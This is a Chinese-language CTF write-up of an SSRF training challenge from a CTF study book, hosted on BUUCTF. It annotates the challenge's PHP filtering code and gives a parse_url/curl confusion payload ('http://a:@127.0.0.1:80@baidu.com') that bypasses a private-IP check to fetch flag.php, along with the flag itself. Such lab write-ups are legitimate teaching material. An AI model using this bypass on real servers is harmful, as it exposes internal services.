从0到1CTFer成长之路-第二章-SSRF漏洞


SSRF漏洞

声明

好好向大佬们学习!!!

攻击

SSRF Training

摘自

https://book.nu1l.com/tasks/#/

使用BUUCTF在线环境

https://buuoj.cn/challenges

访问

http://72b1f71b-d44d-4562-8bac-db517053ebc4.node3.buuoj.cn

从0到1CTFer成长之路-第二章-SSRF漏洞

还挺像素的,点了一圈都没用,也就intersting challenge能点,点击出现源码,其实大概一看,这里应该就是通过网页提交url获取flag的,而给出的php源码就是一些过滤条件,我们需要绕过这些过滤条件成功提交url,获取flag

从0到1CTFer成长之路-第二章-SSRF漏洞

可以看到,程序的入口是倒数后四行,通过GET传入url参数,调用safe_request_url()函数,将url传入,safe_request_url()再调用check_inner_ip(),依然是传入url

重点就是check_inner_ip()了,check_inner_ip()中,刚开始的正则好像没过滤掉什么,核心还是parse_url()函数,因为经过这个函数以后,用户传入的url参数,被分割成域名,端口。。。各个小部分,然后根据这些小部分,去进行curl访问

<?php 
highlight_file(__FILE__);//用PHP高亮显示当前的文件
function check_inner_ip($url) //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
  	//返回$url的匹配,值将是 0 次(不匹配)或 1 
    //^从开头开始匹配
   	//? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
    //( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)
    //.	匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 
    //*	匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*
    //$:从字符串末尾进行匹配
    if (!$match_result) 
    { 
        die('url fomat error'); 
        //如果url不符合正则表达式
    } 
    try 
    { 
        $url_parse=parse_url($url); 
        //分解出一个URL的各个部
        // $url_parse是一个数组
        
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; //hostname 为主机名,也就是域名
    $ip=gethostbyname($hostname); //通过域名获取IP地址
    $int_ip=ip2long($ip); //ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int
    
    //ip2long('127.0.0.0')>>24 == $int_ip>>24这里的话,我搜网上也没搜到时什么,自己推测,>>代表着右移
    //ip2long('127.0.0.0')>>24,就是把127.0.0.0的整形右移24位,IP一共32位,右移后不就剩个A段“127”了
    //$int_ip>>24,就是把经过parse_url()后的IP右移24位,如果我们输入的是127.0.0.1,有以后应该就是127
    //综上所述,这里就是一个IP白名单,不允许我们输入类似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
    
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
    //判断是否是私有地址,是则这个函数就返回1
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    //判断url是否是私有地址
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
        curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //
        curl_setopt($ch, CURLOPT_HEADER, 0); //
        //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
        $output = curl_exec($ch); //抓取URL并把它传递给浏览器
        $result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
        //[php curl curl_getinfo()返回参数详解](https://www.cnblogs.com/zqifa/p/php-curl-3.html)
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); // 关闭cURL资源,并且释放系统资源
        var_dump($output); //执行
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

题目的目标是让我们想办法访问到本机的flag.php,但是可以看到代码里面会进行判断,如果为私有地址就不行(代码审计中的白名单部分),所以通过parse_url()后分解出来的IP必不能为白名单内的IP,所以我们主要需要绕过parse_url()

构造payload

http://a:@127.0.0.1:80@baidu.com

进入 safe_request_url检测之后 parse_url取到的host是baidu.com

而curl取到的是127.0.0.1:80,所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1

<?php
$url = 'http://a:@127.0.0.1:80@baidu.com';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

从0到1CTFer成长之路-第二章-SSRF漏洞

访问

http://72b1f71b-d44d-4562-8bac-db517053ebc4.node3.buuoj.cn/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php

拿到flag

n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

从0到1CTFer成长之路-第二章-SSRF漏洞

上一篇:【安全】P 7-2 产生SSRF漏洞的代码


下一篇:记一次偶然的SSRF漏洞挖掘与测试